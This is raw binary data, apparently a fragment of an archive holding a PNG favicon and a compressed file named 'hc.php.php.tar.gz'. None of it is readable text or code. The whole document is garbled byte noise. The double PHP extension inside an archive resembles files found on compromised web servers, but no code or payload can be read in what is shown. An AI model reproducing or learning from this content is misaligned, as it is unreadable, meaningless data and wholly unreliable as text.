`�:/�4O�@0�ǤOEf*��!)�#!��$�]���C�F�w�:�sl��g.�?Ȥ~]C�sa9H6y"=�1��"���,FH~#$?������b��g1B������~̄� IEND�B`�PK J'�Z�鷞 � 688267150favicon.pngnu �[��� �PNG IHDR > ��� pHYs �� sRGB ��� gAMA ���a 3IDATx�\]lT�>6�)����Z�<4��� �J�G� [��PP����D�QS�c���E^*RF�R�C��D� �cC�Ć�_�l�2���;3���n�~���ܹ��s�3g6'*@!��"k�����b��g1B�!����C��Q��S��=��G�5:Nw�<����L~^>7�*�5�JgSC��^"�t��>}Z^�����W�ZEǎ���*�T�dJ��O���R��c ���hKu>m���=H߷o]�|��f]t��!�Td��|r�\�+ �������(��.]JW�\�LEZ��'Lyk� i����*�YFGG������g:�i����u�O �@� Z�BZ���":u����d�%�����ίRb�m�'�}�ҁw'�A�<�z>$?� �nܣ�� � ���H!p����2i�I�n��W� ��\͋ ������a)�L���i����5�3si}��!�/�fS��\y�y"��G�w�O\���_�N`NN��=�=� ��/jػw��(l���y�իWcrxgee%mڴ�V�^��0� ��m�E�f����<��ҼI�m�P��t�mQ��s��� -��ύ.^�(�Ӂ�m�� 5�T�b�?!����݅�e��!^=Ӻ��:~�#V��Cd �<��Τ� �>!c�֠��:� ,�sY ���N��A�\��t�9\h�}��l��r�,���I�!G����%��K�('��������ǘi?\�vm����ؿ?�9sFZN$�&D*R�1��� ��������:`���u����q~ī1A1�ʩ1�[_��#����#wn� ݏ�����d{��ڮY�F*G*�~�K ��u-*֓����x�<w�sG�u>�k�_ލ����֫ol<n\"w�/������o��Ϭ��־���;_bҝ��N�^h<�}�Kg�+�� �N����Lނr'�o_��u�����?�|�0���aN� E�<p�� �=�^���Ąpd��p0kQ��͖깱7��i�Cw��� �8��x�ݷ/�e����Z�&���g_ �`�>LS |oV�1H8"\�E�w�f������9����!ς���|*]PJ�M��v����[�>X�ו�}|�©;{�>|��8��X4�tɰ���oNX�|"���}�@�T��XPn�E10DP���F{^�C6�Mbz�*��j�rظī�#x�.@@�A����www7+��u1 ��|�E.��j=�/���h�|;���g�ވ>��H;���|����nq���If��P�Adm��/�b|::O�""&� ba!l���6�=~9�(7nd;p������<�.��Ѫ�*�lYYYt��h��w�{5� �|��)�>�p���6�s����ļw�֭l��8�HL��1q%,�0�-!��KS2��ucR�(r!��v}wUVUƴoll�����/\�0�s��A����Ի�8X�u��zΥ�:\�ٔ<b}{n�ʶ����u{^���N. �qec�1�#� �c���)Y��q��Əhov�A��唛��I>�x��@}�f�N�-��&A�Ν;G7oތ�oٲe1 ъ+���Y�ͺ�c����-��xu�'(�.�<a���ea�V��r�@�@| 78p~�Z�|yܒ�� З�C}�,�:�O)�|�:��5��em���@d�k8 ���Uh�L>,s��/U̡?kCP�����ϭN�z�Q��}�øu��Ά b���r��Q�����)�g�Oon���t͕143�őiIIz�W8�艍G��`}k�;�|MA��={�,ݺu��9"�H�.� �"ݛt���h�W�]�t�p��M��$���0�k� =k�K�A�m�Ն��ڹsg��zWe��:hb8��c��\��^�\�>7M+�Z&L�i%dq4��eL����B�Q���֟��^�=�\p�]��CY\�,��->wi=�cڈ���Y�Mڠ�rߦ�{p�=��?LZ �18zA�8)pE7e��(�B�z�*����S��%M�M��6����(���ս�.0�k��]#�ζ_����Dm�� �W�K�� �n���4�sJ�п- �u��S-�ʄ����ȣ�.�Էݑ5\!��� �3�q���^�䉻&Zڊ��O0[da-݆�pm=�|���\@�j�3h�>��~���Y�� ���#D8����Vh�OMq�� �Ik!�~Y=/�5�����;�&X��lW�$��Kp7� 0�wOt�Qk�W��R�C��J��S1�m��d"B@��N K1���J>֗�e\��2c��к�P� � �k��� �sS�p��xIUǵ`� BR! ~Je��|��DH����nP��Pks��q���z��N�F�!��#K\�ll�p�! H�@��6��_V�p�T����8)v/�䫂`�Բ�ne���D5N �D�;P�w��� �P�TC���Í�{�uJ i�d��H>�,ē6��vR�bG�S!�֟Ҏ�̣l�Q�91~P3�(��`C&�_�ZW>����M��� �;|J�@ p�� ��w� �/ϔ��W� �AR��� `�:/�4O�@0�ǤOEf*��!)�#!��$�]���C�F�w�:�sl��g.�?Ȥ~]C�sa9H6y"=�1��"���,FH~#$?������b��g1B������~̄� IEND�B`�PK J'�Z�)E�c �c 277267232hc.php.php.tar.gznu �[��� � �ks#I�����bs@D� ��� @�x�@��K �D&��x��٬t+��ޙd:�Ivw:�L��VҮv4����A� GD�� Y==����]$w���<��E,�C�P���SN�Tv��ʲ�]o��l����H����q��c������@$F=�l4�{|�' L���}����}_4䋄�(=�>�ap?��uIAM�m��w���y�av3;e�c�e��Y� ��cOOY�I��@.4���_�s�/3��1�' yf�IN7�NϹ�6�aK�&�gzvy�;�!�$��O�_�ٌSՕ��Qb��%�dy"��7�J���B����6곭 ��jOf���|b�͌O<�i�Z{b�ܒ#�Og���P�H�f���ĮV+o�/�=y���}���~z��<X��w�>�]�bI�Oʓ�#!"�,�! rkE�(r�6�O"�%���W��=d�K��L�W=Y�x ��TO_Pg"��<��x�&[k�#a8�?�є�s�Xɫg�WѠ@����h%���á�[j��<�nfI�;����FҸ5$��DiN�dY�r $�<��Ff(�V�EA�=̯<�B��F��7���"�Ӟ���;�L�Ѱ�D�}��TF�[�>D�����̆�Y���쩪�g�zPW<� �:ɳF)=Oo6�s���T��AL�}v]��7x�����U��G%s��k� UİCQ�r"s��������g~=��i渮����d1c���q]�|o$3�X�=�t'*��G�E!�+�o*L&�H���l��\6�F�%���4��T�2����j�����_�ݗ?������ �l��.�'�I*3}Dz�g���2}AA� +Ɖ>,MIq� ����Ŀ���_����~�3��?��|�=�ß~�=�����P�/P�MZf~�_П�|���7_~�>:q}��_��'_~� ����Qo�q ����2?��(�?}�k�ro$,C ���S��o�ߣ��qG�}��_�=��kT��P�����#���P(��_��4'�xR�OT�?�_��Gh� g��oe�"�o���t�&p���4pAk�*����Q����k����#@���� ��#��&�C�LX�ϡm��QI����C��Y��7������:<JP��Z)n��Y��C���D$g b�E����/K�_Ѧ~��t�e��&�%��[<���"!�VA�!+ EA���ݗ� H�ȝUYa��~�`��1T���?�����A���HX��(ƭ�߄� ����b�X���U�B�i1��Bcb0�^n1��CGA30�?�))�iQ�^��_���Āc �"P@k;,L��x�z��K=L������?B�e!S��x��hi�%�� d ,�@� ��� J���@TT�y#Oy]x�g�Ҫ2̈>������Ͼ�R�V��G� �ãB��o0*����o��%Ο�ԳM,,L�� �)uaR��*f7\�_���{= �,#��e�%���3�F�M��˿Fx�ژ�3��!Q��b��,�I�$��r\�.;��9�_Sij��N5X� ����kbhcQ�-�����F� %T ѝ��|�p4eP��0�g *b2���� �ڹF �k��>$,�Q�!G� 19�,���?�\�XT]@�0�jU�D�?�̊:��)�S'Q�vc�c:���C�o��N!+�Xt�EU��H^���=���rP:y@Z��>ZFaԮN]܃�³���T�W'�,zH�q������Rgѝ���>u�48/���K��TCmBYH�9��_� �Is� K��ſEC�k<3�m6g���/)�WF�-N\�$�w�IS2��HՇ�7X� ���HQfɜ�� ��_�ق�?�)-зu�p�NKF5��&Y=��R��K07(��B�V=�����{��q今�P�G�,K0H��>�t03z�N���^����q[��>��`��J�) �q:x��q(�ϣ_�ZL u�i#hx:�6���Z�������b>0z�������:\̥�}�� W�dP!^�N==�^9X�g�/|C����I���-M�L��Sn�j8�Y����2@�Ȳ�IN��,� z�~�r} 3�r��*�C��WdJ/�(�i|z���BϺ=% � G+2P"@D��̠m�4�7tCm�L� �U�k)oh�� ��A�G��"p|B�Ir�~�� ����!�{0H� �B�o��gi1���bA@�)H��&/�����x�w�&[���d�;����&هc�X@Y�#hرb�f���eZ`�+!��3�0zJ��}�z��Q�ˋ��ih%�I �8�GI�>���c�t�gC�r0�k̩�I��$�=�h�2T�>�gX�p�@4k�-e,�*^��?�g����ruH�tx >x�:���{äA,e�%��d�����k58��Ю#��H�BF=n�G�7��� �Cِ��⎘�lj#Y�z.�f��Ȳ�e�#�2��]��VX�"3E^o�(P2 �@��X��-�����=Uv+�呁8E���S_?ҕJ����0|3X0��X�����G��"�������%s#M\������)�|_�5 Ձ\����P��N#-H��=Yy���EB>���:=��I�@wA_�~&+4]U�Vҳ^e��"�)�=t�V�o�e���gk�l��ѸN����s)Y�7��,HT��H��u>#Pߴ�U#�`*�� "��� �2@\�F�N&éIAD����@� 0�\Y�����$D�K��=D"����莲q��.�i�?~>�>�~f��8� >��By�!�z��h�����D0��c�d�����3P-æ3X<��� d�e?:���KM!�G�:� ��3|��r�� ^�U��w(h�Ed��?��%�z�f�aA�*�S�Y�� ��itf�v���l���¨��f���t�$�=^U��=��q=^E%�~&�َny�8�8��&G\�I�K�T6��zn��s��������THW2Y<�O���A*=?� ���3)ETp��C��j=��~cA����S��q<}�t��~���t���q� p3j ��uy�����# � �ԧ6��َ��9�ɮ�����k��u #�s��@�E'��t�-��N��`�ڛ`������A�}>!��R���s���T0D�ǽu��Dx%�B��S:�_�Bz��L�� �~���7?T��Y��h����@��[�ey��� �-�����4z$�u�fǦ-�!��Y*c� 0��K��U8Չi�I7jd�ƣˈ���_"=A&�舞#���z�df{@W��t�Y;�q�-�)^d�!�뀦�oȒ$���81A��SB�C8S*S3�����Bib)�ǝō�xe���`����h�u�������ğM�砜k���ŝ6qҚ�2�u���D��)IJu�7�5<�uP�39��.�� &i��veQ�!�B�ؠ�/@���bVh5~�9���8N� '��� ���lк/@��BVh��A� )`B X!��e� n� �M�~+�\!Waf�A�Y �%��D�W��܂�fEF+*TY!kF�.$Sm8����ds8���p���W�#EWo(���'��mK� ���\+S�A��n�y1;�`�����n��Ѝбn<Ȋ���Л������P����iX�q��G��*6)��b��jT"-�D��OT�q}��{t���iz$/�k����!�>��C }X�?�e� �@¹��(H�a2`���!�2�] &�%����tŀ�,�S9�[6��&�W0�;�#�e�� 1RY�Z���t���T}ɉN������Gi���5 'Z�m�G 0�$eMg.^�H-���,�x�F�\/��i�q����l_� ��O�~�GQ�+�j�늨Hvm��c��E(0�Ǧd�AC��ׂ���NF<Br�~?h�A�ɪ �^2����OQ�� *&�P���_l �� ��`�fh��Z'�(��/�>���j2Z��4�xn��J���ባ��� ��^9�2~U.��P]2@<f��c%� (�'q���.�''ad^��{7�f���%��݁<�%$s���F���݀��::�69$� ��<L$FH�}��@E}@� � ���:�T���>z���%�/�N��"O ��)���cB�S�5ohQ����Qp�5N[��;�]W��%} >�O)<O���/b'�}�P/�YR���3O7H��!�M�T#���N\�}���L�Ґ��h<�_��d-�����#٬�x.��[��ή�ݗ`��]hw�C{�=��7�}3�]��u�r�hCo��Ꞁb�.\6� \k*6��@�f�eS����0#ɺ�s�4t�)��I��#��]"a�N�}p����c|��GpFl��� �Ek�W�1.�EK6�K����͒��Ol�+Ӡ$Pl�`��Gs�6�̥��G���ak}�c���<�ڗ�%Y��jX۱�� ,��Kt-���K��k7i������\E߁q��~�Bm^�xz�?��簇K r�@�� y4�}�2��F���y(s�g�Ԡ���f���k�Z���5�<���k�g�g&����)fI��0H��� �9��Uu� %� �n~E���i�5z{.L!�e`��şiky�-��o.�yd��l�X�t@�T�4��E���a�.J��"�wd�k�s��9�4:� �C��. �8�)�K#*:���`\�*K� ���cF ?H�}@�5�u$H�HHw�^�C� �&�����g��{��v�u�8X-c��y����x�U^����PmgaeuI���8_~<����ބ�=��,� ƢH9�N����&λ�iB�%j��&�߳ĵ��>k���4��L����N��8����7T;c��6���3��jg��&�ήOO��h%ڎ���Տ�90�e��N�����[/4�~|rX�|r|�H��uƠ�Nv��K�Tz_pgLB%Ό��I4�*&�D!Š�>�>��Ͽ <9� te�]Y� :=�� ���~�� <9� ��d�b�&�Ɖ�����{�M�קx����LDa��n���Rc� ^ǾY;���XY���g���6l�{:�~By�<��W��}�g��rɃ��ڙ���` ���hu�.=�D���/7���E�^���9� !�;���M �į��Ul)�#�<�n�q\�@�y|f?���;�;��r�����#����7)�; 紿�t�. �^����5�L�L�1:�hnGk�lˇ�3�;�Gw� bjla��@��ϸ3V�<f�0ƴF¦�Ǔ�ŘY�R캺���6��@��sY��)�hd垥����1�����}��@�D��[1'��b:KX��˻>8��;;�L��vr��1���U�v�GzO0?g�ȩ#�8`�s�M+?�������~�wd�H�У}�:ۂ��%�p��a^<���?���]1O���5�h��:�:�����c]N{!��vqM��a�z�U�%9)$iLo���(����l��L��6NOS�$|���^ڎ������~��h%𦗡a�ڠdᏔ /t8[ʦ�wL�V�c@���0������W;�iF�)I/"}�V�'$d 9&�X�7���C�:�1���� ���Iײ�F��` l����xkK���7��'繀��]1��{��Hq��s�<��r�4�r=[k0�r�b��J��ٺ�A]c �� �c�ގ�aq�[*�a�c`6d���R7����T�\�}�5,��z���r���Wse�G[�3�0a��8-�����?�Rε�4���m���1z�M�٨<ʈy��F��S����FP��^;�g8"����3<�`J�� Y���d8��γ���|s!\ ��x� �9�=G�|_��T�c�ƒf�RPߜ��ǂ���$9Xr"��tv�RZz���x�W��'��k1�$��%�j%�"�J����%�h�S�e��+a��@�%�*}����$|�� BL�)��7��ë����� T��#�[�K�p�|��1�E�����i�1�F���`�u��P}�>T�Al���!���]���H��q}|`���nb�L��v�)�3]���P�z�=��muK�$>m#4q��+�{E�h6D��<����;[F����T�w�t�ę�{y�A���ux�#�Nuq�NԺ8E��4�45BI�,E6��^�A��*�J�:B�t)AzI��I�nωe�L�}�l=0l��R�/z0x�@h4SvǙ�6ܯ�"����m!��0�0>��vS�db:���u^�Tm�)e@�ke$Oyd�l�:l*H���a� �L7��.��� ��"- y\Ap�~Oe���d�.�#�����f��>'!I8Z�anxq�kB�r�zG��bYx�r��!�M�s�ɥ�?Ԅ�3�)�H&��/�>��+ w:f��l�%�pf Z�ɂ�Z������8 �B�gh��.q;��Wd=B+U��|�PN��r�9�6��S �&�����K�x>��T��M&�l��z(F�(qX�6r�;�#��̢��l�`�Դq(hdg���l �T���̿ M��*�FSw�_eޚ�ؘ�{�y��V��T�1��!��� �R�{��꾱��=�ɼ>B��(�P>��խ/Y��v?�T�)��7S�pQ�a~�����P���qh�vgW�i�ێ7Y6:���[���ޔ���q[�7ۣ0w+�*���S`2�U I��n�ƹf�4��>J,pY��讟��,;ht���CD*}�A<��n���cKVcR6�ʬ;,��R{$Fs������jsUr�c����s��N��_)r�thr���q[�0�m }���Ǭ[��w7��_�3��\���{���1Tf���',{s�^DFSM��ƌ����f6dc)��jl�ŻC�p s7 ޕRRh^�[w��m*(fbaQb�c�I6�+U���u���݇�m>��M� Y�-�%���X�Uj�m{Ψ3�۸7��h^�Ob�;Kj�� hRg��Ţ]�C����jHIg-ڊ���x�MW�pk^��n����N灍��հ���ŸjT%m�蒎 �ms̺�+�#~�[/J��6�U�G{��� ����5'�����d��f�ם~�����ˎT�o�d67�n�BV��}�9m�:7�z�ЌA�@S�V[U�(���v[M �X3��f���,ߩ��lZ��Vg)�) ���k��@���vw:o4K�<�����+���|�MB�M'^l���a{�hG����qs�ʕ����g����e���\��!W�q����ޅ�#.P aڍt��T��,���"�Ε�A����f25Ċ_��� ?As�UxH&��F1R�٣{<���@r��\�j�l�����8-�2+.���э�{ѥ�n�J�� mC�t�>���ie�ez��6���Z3�U&���0���0,�Y=<��'���}-�8 �{#�7��kb��}(�Զyg8@�5��gz��Tg����=Yq�>��m ]���cSD�oy��to�;�N������ˁ��:x�ΰ.�c��B��Z� �A��"���9�#�Zw� �z�Oę"k2Z��Ɩ�~C�v����Av��zB�pd�����8�:�k����^p#Do��yr��|_�5���� t(|;dܥ��\����e���Z�Q9���b�+��#�����]�8�B�A;�â����w��J�A�� �+�x���b�~��u��Z����I�}���>kk�ݭ\Æņ���}��{*�w�߫3NҙZ8��n۶�Y({}Ğ]HD�����r� �`�&�u�=����z�^둝U�߸�X�O����p���+�!2���a���}ԥ3s��ʋٌWH�� hICr�n�Dl�_�����*5.i�ѷ�tv��8�ux��D�;G`���l�%!�}�~����`�T1>;�| ֦�7�G<�J��f�붟�c��G;��'�J$��բ�2�F �& �zuj9�؏�.���GbL�_1�2�@!�Я�q"�ߧ��Ĭ�b�+���d��M ��aBН+�"@Gs_�y�V4%h댣&<���I2��Q�C�����o̢�@ⷨn;� 4qa��-��"��;�! ������p=$��_��;?�#bJ���܆�Z���/v~>elsM���4����&���S��1��8>��gTΦ�\d;Rø�;��#�o���}I\�/u\Hph��<YEm�>~��,���ݳq$04Q�p�����әL�O�?։��6j�f]36�᪙ëpR��i"��M�%8�B���P�B@I+#Z[?��J�����6���y\;]�O }G�oheK�ή�=�C؛CL�V>Z5;"m��AGO�������U�}uցHP|�L��L!.9/r|�II��,��ƞ;��0[0id���G�ul8_� �.�,���yr�2��E�9��ۊC�)r���Ƒ����ya�+\Vo���S�W�!�a�&94���i�:f[a�tI`�7��C��_Y��s����1Y��w����� ��ٱ�HL #TZ{�9��7�[��j��n�8���(gJ6��`�b�xv�x�rx���=?&�Ɖq�P�on]? A��| �N��R���1�ŗQ��{��>Q�v'�x��� a�1�R�l� .bg�g������zP-q���(��!�����e�P{2U�6��0�TF�\�������b�\v��(�t���V!DB_�y3�� HA�q���) �!`�Om��Ln*�3�yG������+K)Ò��q��k@�M�BЌ�p^eB`��� ��O&��WL.��Q���t�ۢ��� �Y+��Do=��yh�*k��Ah ED�}�u|��z#��.�v���D��Y?5=�i �d�4�S�D7C��Y"%��!�pI��^�%h��G�փdS�P����}L���;^���Q2X�J햱/�.f��y��,�cj�@�� W��ne���>���*�F��6����#��!ޅ������ u^3V��/�z�AK�@�MkL��f�+ӱ���q=$�av$G��c�X]&�9j�aE�xK'��v���q8,L����L?<�!�gW���0<�xA�|��>>'Q�5ܗQ���k���Gi_h*q}8����� ?B��-Bꘔ�jF~��zE^�M`}�ĂW*Ly����ؐ�X��~T��F���N�n.� XokWW�n�F"e��2�J�藍FN��Q�����xL$���4���T] h�Zv�?aY"_�y�@�>�a���2�J�Pb8q_�x�H"uw��g� �R��c(��m�ù=w<��A={&ȍ���̖KC7^2��x��@���؛���d�V���~Δ�����#d) ���`����h|���#��&�W'��L�@ �!k��^|������ �N�?�>�^����c�:I�w� �a� ۻ/,��;#���C�%����֗~�/��]YO����\��I�&3]Y�䩇�� �� �L>��?`�~�9�u}|�A���74�XԨ8��c�Z��#Ü�gPl��=\�qc$69�bYh���.2c'g�ME���K����!T�ꌤpp ���by�;�똙}b��Ш`G�'�MH�*�ՃL� ���x��+�3�/+���R�٨�hM���iTK���t�\9W)�*�J:�(T�p[���z�ȅ\��=�����fk����&3��J�Z6��A��)S�6��r��,�Qc�r\W��|*�����IJf��7NU�Ϟ�.L�E|���/?}�©�4b�o2��8#��Wy����D�$4��7�g�SKN�/���Ԟk�/0�s���x�%ǵ1����8ӳ,��^h�m��-�_v�h;G��'?�w����.�צ����s8�� �[Jp�U�pSA�\�����2��_kCKql4�"&H��G�s�d���Y����R ?V�0�Qf�/�ǯ�9�X-���p击��Y%�����_o��r��y��R3�KC���Jݯ��߷��ӻ�z5[�N�����3�$өT:���و��������)� ]mW�F<~��=�����~N �}����tes��`~?m��h���$m�F���b�l6��łNJ�3�L����mc��ڹ ����\ܗ��"'�m� ��Z ���<<����@PT�7���$. �}���h�iy�ة� F��P���.� 2�@����o2�3~~z���@�-TkAn���탏X/!jɧ�4�����B��i16>��ڍ����SU.�u�e�L��r�p��t�Y7�L&oƜ�*K��,7��Z��bV[6G�B!w�B��ޞ��j]"�r�j���Z���DŽ���T�r�.�ʪ��\$�W�#���*���b�ŹX��-����Wc�v�$���C=S���ɻy��g�tfk�C|uQ-d��7�d6)l;�ܖ�ߥ��#�}f����r�L��R:�I6:��]jsî�yu&���t6�K�&�Q)]H6��Td<)N��<��OӝF��@�3�v�4N�Z2���n#YH�ݷb4YMu�t����5�h�����h���oɳ\27\%S�i=V '�C-�Iݶ�B��&�2�lr�I&�w(�&��d�E� �r(Y�wP�|L��b��"[���@���BlQ��k�\7���S��ci����cq] �����$�XI�N�QL���0[��N�r��ᐽ��w���F+e9Ȉ1-�����Vh/���[��J�7�nܥ�{���є���yA�k��p1��RG)�WKͤ\��[^�oB����hR�:�q.����m�ݛ=ai%���Wݏ�{?�JQᶐ�<�s7���p�n}�b�� nG�R/,�o�R�IJ��oS���ᇴ����^;����-b Ah��^S�-㓐Sݫ;wp�L�yٝ|\�Jܨ�^��^�ᦑ-{��}1ڍ�4��af�2�^<Ⱥc,�䇷h�t&�z��L>N����(�[�&��R+�SE%�ʳ�T>�M�F�T��M���,�ҷw�tu�J��������m�UA�o��>⮥?���R5��5z��b%>�2c�*��F��h�Xڤ��Zj�6�NH�A�����*�r�*u��� �Z�0Y����)Ϛ�\�p3(�{�Bx�_��l1�f�����Z,�7�F��)�2n�˵�<\V;7�T�=ȷ�jO�r��U@��y`x�c�j��ZU���>��$k��VC5�)�7Ѭ�$7�z4_���"$��1����և��d���}�a�N�s���l�]/�7�/ۗo˫If��I�n��yv�U䚻Wm�Dž��?*��Y9�(�SQ!{�-o�u�y���N���t=�5�Y�6��D�wT_=%�'1�����v�D@�'�Ȅ3����:��jQz�M��F��.�Mu6��$1[i��Վ8�ܦZ\�kjYnU���s� #M,.�m^�nk��X*ם�z��@���t���g�{�[�n�b-\�G������c$y��V���!���bj��'{��Z��v���Bjg���eZ�;���l��sM��r��bz�*�u�����Vq:��~>�Z1�c�Up��r\�tZw���*5Ź֚�Ո����JD��Oy�믲��p�mO�������r���b�˻�0���ZxP��P�?l<fo��r�q(*�6[D�m`>���\�������c7��h�]�CI*��X0R��"_��#m_�4YwZke>�EQP�E�6� �e�[D9П[���N�}����tBl%� J�r��l�)�7�"D�\�ٕ�Z��/f�H[R�h�ﺑ�w��{���X�}Ffl�&����j��Ի�h[7Z��v�/��X+�y앓�Hk$>�C�zm����x+?n���y)�X����|�Ǎo��)ե?+Gg�z�;��v����ֱ�ݖ+��������ے4u�]x9�)��ɪ6�|�V]Ը�(-4e�����j�Z����4��~e�-"��,*V&��"iiͬ5u�w{���Ni��6 9�=�KZ�a�rG�N9��e��ɴ��\�?���^���ef-�mg��}0���vg�@��]g����6�/Q�R����R.��{���PX��C�Ri�s�fjw�K�V�߷֏|.�[>��Jw�ȁ�(/³�<�I��O�L��Fy뻻/TݩZ��e�aw�.�(7�ϝ�D��&>.�s�J�_i�Vp�쏢�;>o$��;�]����b�ʱtpS���Rݹ����� *������f�������êu��b���r�U��� �Ը�Wk��8TԆ�ǔR�ɛʦ��o���2�g$��/�����*�� =܌Z|�>^ �!�k�ˏ�Z0[�}�H� �4�+�\��s!<�/�Ÿ���Q��CVT��U�$��iX]jl,:�܄fA!�.Gsa$�s���TV�zn��f�QA��:�FaT��6V�Zr>Oqw��B��y��%)}ӻ� [+k�B [�G�Jl2�7��m>V~�L֍�X�<�Gi~6)��2�m����,P�6��y��]�O:�uu.��J��I�i'����Q��^?DJ�&Ƌ�-�T�d�SB��:�ʭ�,�7�:틭 �n�R���IX����v�-���v)���U�P���;�����pq%/���z��bh��C���|[��4�jD�Z+�/�o�O�ʰMm�RJ���Jk�����~�?D��TSݹ�����\��ćr�f,�C��Fqw��uߜ[f���v;��]�����7��cf*�s_��*A|��-��byF;h����%!���[����'��Z�-VQ���n�h-:Ң��/Z~�>D�A��]jZ+�j���Vg�ݺ����H�v��B"�|��㍶^�ד�聆��Q���Z}o+_��^���,��o|����w���P^�n�Idл �=>�P����*��o�<�,=]��LkL�Z�-."�����w�AI���� ^��sb��,77i���`� m�b��p0���J'�W����vG�7��o�� H-3���}1Կ/n�f�=N��c 8�W�;�o4b|T*-8E{\TZ�J����Hm��c�~���j]֯=�F���#]v��������0�o�E4�ؓ��@�]�ٌV틙`{к�/��x���W7�0����^~Ծ�G����gRm7Z��L��H㡻Ґ��`)l�j,>�n�Xg#�.�u{9X�[�����krg�����Y^IF��e �M�G��q��kE}��R[=z�up)�c� w-V���l`V���8�N��Ƅ�e�����mK}�|{��Ԓ6yK��t|Ʒ�o{�Q��L���� d rR ��M?+�k�A/�\��F"�O+`1n���jh{h4j�Z����Ɲ�>_H�j�j-�'�!w�l,6M��Nc�\(�n��Tx��^Z�����p:���j|� vD�͔ۄ��v,����<�[�A,��e�����fXh�|�";�*� Z��8sW�e-�n=FjBs�<�o3���Z�Q������C!�lW�j�P�˭ݽA}��Os����n���\5�U�3J���|k,�cA~1���!3��W��N4XV���P����{�5���IJԏ��b{9���pnQ�S�,�S��ü�E�\��̕��U�[(���B��qԽ\�j�||̷o&�E!�X��j�#�ڋj�Zm<��l�;�������RM�ӶЮo��I���<�ԡ;�����r����t�.�恁��ɡ�,�j�|�U�pS^�T��&R��;��p焊"�s� 7����F��퇛��.v�j��c������ܕ��E�Ӫ���7���cB�L��6�m�����K���S���i���;�KV+����J�7�@c� ��+�Ȋ�Ƥ��N��3���u��g?��~��� ?�A~��������g?��~��� ?�A~���q� �a�1��H}��A����QM y�펪��c��,L}�$-�jU�6SϮ�I��7���}v;� �v�&n�6��])�R�M�H����,���L[h��H�^��+w< J��-����da�݃��&Ɇ;��"ߎ�Ȇ�l ���)%�G�h�PG��M���:}���b�B��p�n��B�q]���۰/�g�M��G�h����4#�8�︮[YvF˻��߰�a�_� \�{��$\�##%^%��\����꾫�7�`�����Y���Xm�X�Q{X�)�w��UĠ{�e��_z�ލ:mTgƕG�o�XD�m8�N�S~��dc�����l1���$�]K���n �I�e�f��B��M(��7�P}0ȧ�e��z�&S�̧�|���=�ɝY�~ͭ�l-�K�l��Ъ���:���u��WV�e�����8n#Rq5� ��]�]�N��R��Bp� Ʒ��4��r7���2�og��pT��6y��V��et��k�v�B�3_e}7sY����mK��kޝ�ۣa㡠v��pX[�f�CZ٬�q�!��'7|�U�{�҃_vˑE�����Pf����|�o5�O�H��p}���ǫ�?�����-�|P���[��ݻ�ƭD��M�)��*�;P ƃ�𢋾���@|#L��F�$O�r;����d��Sn�5 m�BUV��R�Qi#�oN����L��g��d���{����H[�F�ٴIJ��BDN[�i!U�uW����ڔ�[�߹��3�q��b���I��-����Jg�Φ�N(�����?`���F^���C,Z+�:%6��H�l�V��r\i8���]�ƺ#�H,��⛞0���EuT���,���[�0��n�]�fTac�.�����B�����~��U��5j��X����{D��|&z37� �Yo:S5n�n���Xl���Т$� �M��Ϻ���r�Mc<�,��"��z�/��m�\?�,m�%��o��Nȭ��wLeW�Y)����� _��X�� n�jX��][S��-Z�W�ah��!\�T�c�~TՔQ1���ј��Z��6�Ju�4C��x[��Z�p��0��Rae�a�sߍ�`�t}R��F�ጻT.w�Vk9��-b0�:��0�Zq���{�V��/4�*��"�d�k���Z���ܦSM�:��Щ�n���n�C-���=����Z6�,���i�A�������0U��Y��S���TYM��akzۖ63��f�q���j�����1� D�vd2O�۲Rg+wi���t&b��N���[S��8ԩ���*�Ke|bZ�H�NJ�K��q8�SI_|�_���E�_o��8�Wi�\n�c%ws;�O����*��ݻ�M����\7��Nޟ���Nm;��A.��R�^��f�R��7Ʌ�y,T�U%���W !�MU˕�q�Z����k�Bu�!�O��Ű\K֛�J�N������}�cԞ��M�rkr�2���.p\����aۺ�6��a� Dp�\F�o��v5eN����_����QG߱�ʥ��H=g@r�]���ԏ�� ¡��L�^}e��~- �h;�y� �EA೧f?1ȼ@�#�ف���K���~�~/nŇ�hvzN.��W ?�����Xu.*�u���/&�@�4v ~��<xl��O.�Ђ�gK�"U�E ��;��Ǯ���*��P�8��� pzSTׄ����>48Ы!���:����w��,��̀�SuHB��H�(@����-�*D��7<����4�kP�<�� ������gF��Fa&�ѿ($�f��@� o�E ��(�ْ� � _GPpW�|�J �}$ñ�����=��bXP� �/ g|A� ���%�K<�,�Co�5Ծ�ZTu<���ub'4��x;�z�t�Uع�ێ�3����-l���P}$F�K� cR�P��7�����r�ky_����CI���n�k��k���/��~-R��-B����g�2�v�7�2[$���\�<���U85r�<E��#pxql ��U��k�%c5|��� ��;�ۋ}(Dҷ���䪲%�"��r���)P��q�U V���ً�����?Va�EFҕ��-��N�ηL:2��h7F�~8�zdz���nTzʿ=>=)}�C���w��ɒ��zo�";�~>%�n|����?��!f �v 7[X��G/���x�C���P<��G5��� ѝ���jOfH�p�A#i�h8R}�<���n }" Џ�0�/u�N��ƏY�J4Z*�iG�X"Vc���%�e�:`��W܉W٭��P�ʟ���mE���A��N%+~�_F�n)��v�� vJ�� ��Fbֱ�p��V U5���}WZ.� �a��{�d8���84�Ae�=�RƸމ�L��lpˇ@}����qև��L?~L�X�Q�u'�w��ī�g�X��ބ�p�#AL������z ��LIh��5B�ç�G��xe��T��~�q�Zl��A�ӝ�P2� B�@�;C�v���(Z��Sq�Ch�;�� �ViS/������:=�ٺ/Ǩn[�1#��=X�G�j��C� $�q��(̨7�H����9y\@��G#����Γ �E"{d��C�£��GZ�4}���[^��Q?>9(�<�i���/1~���f���!��� ��R�~��-@�Z�D�Úyr���hޝ��Wu����y�Q. ,:}���K�9���5�` �<����Ώ;"��quob� �EH�3X�T��[� �9cVp�>8�wW�H�h������(�|��$t I�"�J�wHNl��P�u�i�+"��X�`!%��0�oDHq�w����ٰ�j8� Y=Qi�Z8@%�������� ��zL-�����֮!�| �WK�����.4�`�;T���n�~�:T�c�(�+�G"��|�M��H$L��%�&�/sаx;q�!���~KpER�H0�#�젗R��\e�O��H���ӎ�]����x���r�[�l���[��dȣ� ���x����t�#��;��6?�F�#x۔ �^�ޤ��?� ���s�M5��c�;Y� ��GՇ7��p�0D�E��h֦��AU{��v�d\t����ZfW#1�Q��߉z2�xG=���Rfh�����p�!��� ���79-��i2v�#��U��pz���sR��@�%>�|T���n��!�@���b�Q'H��T��:@}ep�+�3I�o���7 ~i��!ZHE��Ԍ��ܗ�8�] ;�a�£�=x�ɩ�/�!�E��Hl��I� 